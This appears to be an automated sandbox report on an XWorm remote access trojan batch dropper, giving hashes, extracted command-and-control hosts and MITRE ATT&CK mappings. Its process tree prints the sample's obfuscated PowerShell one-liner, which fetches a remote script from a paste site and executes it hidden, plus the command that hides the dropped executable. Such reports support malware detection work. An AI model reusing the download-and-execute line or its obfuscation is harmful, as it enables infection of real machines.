xworm | 5c14590059c2133806d881fa853b627b73748a20e529afaf4c7aa2a5fce97eb3

Analysis

max time kernel
5s
max time network
8s
platform
windows11-21h2_x64
resource
win11-20250217-en
resource tags

arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system
submitted
01/03/2025, 15:01

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General

Target

a.bat
Size

156B
MD5

a4b2a54bebc39707a69977648a7a2b4f
SHA1

c27b1203244796cc064b00c472cec23cd16760ce
SHA256

5c14590059c2133806d881fa853b627b73748a20e529afaf4c7aa2a5fce97eb3
SHA512

669f71ff4b75184341eec4a1d78556b2e95ffecf8f14ac6a0467d8169e8bf5b991af443f5dd1786fbef244d483cebb10400374bed3a11ada805040c4f4eb32c1

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

127.0.0.1:7000

192.168.221.1:7000

igtot.freemyip.com:7000

Mutex

8pnN0UHcZ6GmIzoW

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/files/0x001900000002af12-14.dat	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	6108	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6108	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
6108	powershell.exe
6108	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	6108	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5576 wrote to memory of 6108	5576	cmd.exe	82
PID 5576 wrote to memory of 6108	5576	cmd.exe	82
PID 6108 wrote to memory of 1548	6108	powershell.exe	85
PID 6108 wrote to memory of 1548	6108	powershell.exe	85

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1548	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell -w h -ExecutionPolicy Bypass -Command "(I'w'r('https://paste.ee/r/CLsmPBQU/0') -useB) | .('{1}{$}'.replace('$','0')-f'!','I').replace('!','ex');"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:6108
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h +r +s C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\Keys\slui.exe
    3⤵
    - Views/modifies file attributes
    PID:1548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:5936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2n10hzjg.3up.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\Keys\slui.exe

Filesize
32KB

MD5
2768f53cb7968ded641dc0193dcf0969

SHA1
c5472f734747e8be3ae884767834c8f634930b51

SHA256
76ac6cc4834de9e6902bd19eac400bd15550ce6a53b841f6902076d4cce4a7fb

SHA512
21624c1e214ed8dba7d0e41aa63902d8bc0f362d69d6a5bd38a484fdde1d460c657f14024a8c738f243ce194bdac26f451cf8d430400b92feda16d2e4732795a

Download Submit
memory/6108-0-0x00007FFCA0393000-0x00007FFCA0395000-memory.dmp

Filesize
8KB

Download
memory/6108-9-0x000001695FC10000-0x000001695FC32000-memory.dmp

Filesize
136KB

Download
memory/6108-10-0x00007FFCA0390000-0x00007FFCA0E52000-memory.dmp

Filesize
10.8MB

Download
memory/6108-11-0x00007FFCA0390000-0x00007FFCA0E52000-memory.dmp

Filesize
10.8MB

Download
memory/6108-12-0x00007FFCA0390000-0x00007FFCA0E52000-memory.dmp

Filesize
10.8MB

Download
memory/6108-17-0x00007FFCA0390000-0x00007FFCA0E52000-memory.dmp

Filesize
10.8MB

Download